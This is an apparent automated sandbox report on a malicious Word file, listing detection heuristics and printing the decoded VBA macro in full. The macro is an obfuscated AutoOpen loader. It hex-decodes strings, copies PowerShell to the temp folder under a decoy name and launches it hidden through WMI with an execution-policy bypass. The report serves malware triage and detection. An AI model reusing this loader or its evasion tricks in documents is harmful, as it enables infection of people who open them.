Office (OOXML) malware analysis — malicious · 8d4a89d0602ff166

MALICIOUS

Office (OOXML)

16.7 KB Created: 2021-03-22 18:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01

MD5: 99fb9d24528247120267afbfca412a20 SHA-1: c18e35b5243a39b644b24dc4cbb12bbd2dfca407 SHA-256: 8d4a89d0602ff1666eb55e8e3fae58554c995f3d9c122c58b6adba8db027236a

300 Risk Score

Heuristics 9

ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set hmpcpzsncuuc = CreateObject(pqhirlnpdrqq("5762656d536372697074696e672e535762") & pqhirlnpdrqq("656d4c6f6361746f72"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set hmpcpzsncuuc = CreateObject(pqhirlnpdrqq("5762656d536372697074696e672e535762") & pqhirlnpdrqq("656d4c6f6361746f72"))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
temppath = Environ("tmp") + "\zubizuru.exe"
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	2234 bytes
SHA-256: `adca955b91ffb0407dfcf6aa3512dbb399c0822ff93d9addbb7a06e59ce8e243`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Set hmpcpzsncuuc = CreateObject(pqhirlnpdrqq("5762656d536372697074696e672e535762") & pqhirlnpdrqq("656d4c6f6361746f72")) Set mductbxclysndlk = hmpcpzsncuuc.ConnectServer() mductbxclysndlk.Security_.ImpersonationLevel = 3 Set mlzuruauoegdn = mductbxclysndlk.Get(pqhirlnpdrqq("57696e33") & pqhirlnpdrqq("325f50726f6365737353746172747570")) Set yhsroojnaovjlwr = mlzuruauoegdn.SpawnInstance_ yhsroojnaovjlwr.ShowWindow = 0 Set vzkhdatuwlzhic = mductbxclysndlk.Get(pqhirlnpdrqq("57696e") & pqhirlnpdrqq("33325f5072") + pqhirlnpdrqq("6f636573") & pqhirlnpdrqq("73")) temppath = Environ("tmp") + "\zubizuru.exe" RunPath = temppath + pqhirlnpdrqq("202d657865637520625970202d57694e642048696464654e202d63202470726f66696c65203d2024656e763a74656d702b275c7a757275626174657374696e67273b204e65772d4974656d202d50617468202470726f66696c65202d4974656d54797065202766696c6527202d") & pqhirlnpdrqq("466f726365") Dim pshellPath a = pqhirlnpdrqq("706f77") b = pqhirlnpdrqq("6572") & pqhirlnpdrqq("736865") c = pqhirlnpdrqq("6c6c2e6578") & pqhirlnpdrqq("65") d = a + b + c E = pqhirlnpdrqq("57696e") & pqhirlnpdrqq("64") f = pqhirlnpdrqq("6f777350") & pqhirlnpdrqq("6f77") g = pqhirlnpdrqq("6572") & pqhirlnpdrqq("5368656c6c") h = E + f + g + h pshellPath = pqhirlnpdrqq("433a") & pqhirlnpdrqq("5c5c57696e646f77735c5c53797374656d33325c5c") + h + pqhirlnpdrqq("5c5c76312e") & pqhirlnpdrqq("305c5c") + d Dim fso: Set sfhwbgftbcydogb = CreateObject(pqhirlnpdrqq("536372697074696e672e46696c655379") & pqhirlnpdrqq("7374656d4f626a656374")) sfhwbgftbcydogb.CopyFile pshellPath, temppath errReturn = vzkhdatuwlzhic.Create(RunPath, Null, yhsroojnaovjlwr, ProcessID) End Sub Private Function pqhirlnpdrqq(ByVal jicokgjjruin As String) As String Dim qtoxyehamnfh As Long For qtoxyehamnfh = 1 To Len(jicokgjjruin) Step 2 pqhirlnpdrqq = pqhirlnpdrqq & Chr$(Val("&H" & Mid$(jicokgjjruin, qtoxyehamnfh, 2))) Next qtoxyehamnfh End Function
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	10752 bytes
SHA-256: `e0d76f2ba3084e724620d9c9fa88091e14d56bb427fabbac5db9e9dbd1d7a543`
Detection ClamAV: Doc.Malware.Valyria-6923224-0 Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.